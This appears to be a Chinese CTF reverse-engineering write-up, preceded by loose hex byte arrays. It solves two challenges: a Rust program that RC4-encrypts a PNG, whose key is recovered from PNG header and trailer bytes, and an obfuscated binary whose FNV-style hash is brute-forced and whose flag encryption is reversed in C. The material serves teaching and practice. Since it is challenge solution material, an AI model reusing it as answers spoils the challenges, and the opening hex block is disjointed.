0x69, 0x6E, 0x44, 0x4B, 0x43, 0x6B, 0x6C, 0x6A, 0x48, 0x67, 0x2B, 0x52, 0x77, 0x42, 0x31, 0x7A, 0x44, 0x31, 0x62, 0x62, 0x48, 0x63, 0x3D, 0x3D
0x69, 0x64, 0x37, 0x34, 0x71, 0x68, 0x58, 0x65, 0x71, 0x2B, 0x58, 0x50, 0x6C, 0x6C, 0x72, 0x4C
0x5F, 0x31, 0x6E, 0x5F, 0x44, 0x5F, 0x6D, 0x41, 0x6A, 0x4F, 0x72, 0x7D

17 -> 2 3 5
0x69, 0x6E, 0x44, 0x4B, 0x43, 0x6B, 0x6C, 0x6A, 0x48, 0x67, 0x2B, 0x52, 0x77, 0x42, 0x31, 0x7A, 0x44, 0x31, 0x62, 0x62, 0x48, 0x63, 0x3D, 0x3D
0x43, 0x79, 0x6B, 0x63, 0x27, 0x6A, 0x5F, 0x50, 0x40, 0x6F, 0x34, 0x69
0x5F, 0x31, 0x6E, 0x5F, 0x44, 0x5F, 0x6D, 0x41, 0x6A, 0x4F, 0x72, 0x7D

18 -> 1 2 6
0x65, 0x4A, 0x48, 0x36, 0x6B, 0x4F, 0x4C, 0x70, 0x6B, 0x66, 0x52, 0x74, 0x66, 0x4D, 0x69, 0x41
0x43, 0x79, 0x6B, 0x63, 0x27, 0x6A, 0x5F, 0x50, 0x40, 0x6F, 0x34, 0x69
0x5F, 0x31, 0x6E, 0x5F, 0x44, 0x5F, 0x6D, 0x41, 0x6A, 0x4F, 0x72, 0x7D

19 -> 2 3 1
0x65, 0x4A, 0x48, 0x36, 0x6B, 0x4F, 0x4C, 0x70, 0x6B, 0x66, 0x52, 0x74, 0x66, 0x4D, 0x69, 0x41
0x4C, 0x62, 0x65, 0x6C, 0x27, 0x73, 0x5F, 0x43, 0x40, 0x6E, 0x30, 0x6E
0x5F, 0x31, 0x6E, 0x5F, 0x44, 0x5F, 0x6D, 0x41, 0x6A, 0x4F, 0x72, 0x7D

20 -> 1 2 5
0x4C, 0x4D, 0x50, 0x47, 0x47, 0x51, 0x7B, 0x45, 0x38, 0x69, 0x64, 0x33
0x4C, 0x62, 0x65, 0x6C, 0x27, 0x73, 0x5F, 0x43, 0x40, 0x6E, 0x30, 0x6E
0x5F, 0x31, 0x6E, 0x5F, 0x44, 0x5F, 0x6D, 0x41, 0x6A, 0x4F, 0x72, 0x7D


21 -> 1 2 1
0x4E, 0x53, 0x53, 0x43, 0x54, 0x46, 0x7B, 0x50, 0x34, 0x63, 0x68, 0x33
0x4C, 0x62, 0x65, 0x6C, 0x27, 0x73, 0x5F, 0x43, 0x40, 0x6E, 0x30, 0x6E
0x5F, 0x31, 0x6E, 0x5F, 0x44, 0x5F, 0x6D, 0x41, 0x6A, 0x4F, 0x72, 0x7D

腐蚀

rrrrrust太好玩了(雾

看到这题给了pdb我就知道不简单(

image

根据字符串定位到关键函数

image

最终确定加密函数

image

虽然是依托,但是还是可以看出点端倪,比如哪个i+=1,其实就是个rc4

那么key是哪里来的呢??

image

对这个input进行动调发现,其实key来自输入文件的前8和最后8字节

png文件的前8和后8其实是确定的

再动调发现,还对解密后的文件进行了逆序,所以读取也应该逆向进行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
#include<stdio.h>
#include<stdlib.h>


void rc4_init(unsigned char*s, unsigned char*key, unsigned long Len)
{
int i = 0, j = 0;
unsigned char k[256] = { 0 };
unsigned char tmp = 0;
for (i = 0; i<256; i++)
{
s[i] = i;
k[i] = key[i%Len];
}
for (i = 0; i<256; i++)
{
j = (j + s[i] + k[i]) % 256;
tmp = s[i];
s[i] = s[j];//交换s[i]和s[j]
s[j] = tmp;
}
}

/*加解密*/
void rc4_crypt(unsigned char*s, unsigned char *enc, unsigned long Len)
{
int i = 0, j = 0, t = 0;
unsigned long k = 0;
unsigned char tmp;

for (k = 0; k < Len; k++)
{
i = (i + 1) % 256;
j = (j + s[i]) % 256;
tmp = s[i];
s[i] = s[j];//交换s[x]和s[y]
s[j] = tmp;
t = (s[i] + s[j]) % 256;
enc[k] ^= s[t] ^ 0x1f;

}
}



int main() {
unsigned char key[16] = {0x60,0x82,0xAE,0x42,0x4E,0x44,0x49,0x45,0x1A,0xA,0xD,0xA,0x4E,0x47,0x89,0x50};
unsigned char sbox[256] = {0};
unsigned char *enc;
enc = (unsigned char *)malloc(50838);
int Len = 50838;
FILE *file = fopen("D:\\CTF\\GH\\Canon\\enc1", "rb");
for (int k = Len-1; k >= 0; k--)
{
fseek(file,k,SEEK_SET);
enc[Len - k - 1] = (unsigned char )fgetc(file);
}
FILE *fd = fopen("D:\\CTF\\GH\\Canon\\1.png","wb");
rc4_init(sbox,key,16);
rc4_crypt(sbox, enc, Len);
fwrite(enc,Len,1,fd);
free(enc);
}

ezObfus

到处都是花

image

这个pwd其实只是加了个特征,没用

几乎所有有用的函数都被加花了,

image

花的种类不太多,可以手动也可以idapython

修好后进入main

image

加了很多混淆,不过仔细分析可以看懂

image

这里是实现了一个变种的fnv hash算法

image

这里检测了算出来的hash,直接爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#include<stdio.h>
#include<stdint.h>

int main() {
uint32_t hash = 0x45E938F6;
unsigned char key[4] = {0};
uint32_t raw = 0x811C9DC5;
uint32_t raw1 = 0;
for (int i = 0; i < 255; i++) {
for (int j = 0; j < 255; j++) {
for (int k = 0; k < 255; k++) {
for (int l = 0; l < 255; l++) {
key[0] = i;
key[1] = j;
key[2] = k;
key[3] = l;
raw1 = raw;
for(int p = 0; p < 4; p++) {
if(key[p]%2) {
raw1 ^= key[p];
} else {
raw1 *= 0x1000193;
}
raw1 = (raw1 >> 25) | (raw1 << 7);
raw1 -= key[p];
}
if(raw1 == hash) {
printf("%d %d %d %d",key[0],key[1],key[2],key[3]);
printf("0x%X",raw1);
}

}

}
}
}

}

image

然后来到加密flag的地方

image

enc函数实现了简单的加密算法,直接逆向即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include<stdio.h>
#include<stdint.h>


int main() {
uint32_t key = 2358310779;
uint32_t hash = 0x45E938F6;
unsigned char data[] = {0x54,0x55,0x79,0x9E,0xA8,0xE1,0x1C,0xDA,0x4,0x1D,0xC1,0x6E,0x80,0x82,0xD,0x8A,0x4C,0x65,0xE1,0x46,0x71,0x31,0xED,0xD2,0x14,0xC5,0x39,0xB5,0x49,0xE2,0x4,0xA9};
int len = 32;
char tmp;

for(int i = 0; i < len; i++) {
if(data[i]!=0) {
data[i] -= i;
}
data[i] = (data[i]<<5) | (data[i]>>3);
tmp = i ^ (key >> ((3-i%4)*8));
data[i] ^= tmp;
}

for(int i = 0; i < len; i++) {
data[i] ^= 0x48;
printf("%c",data[i]);
}



}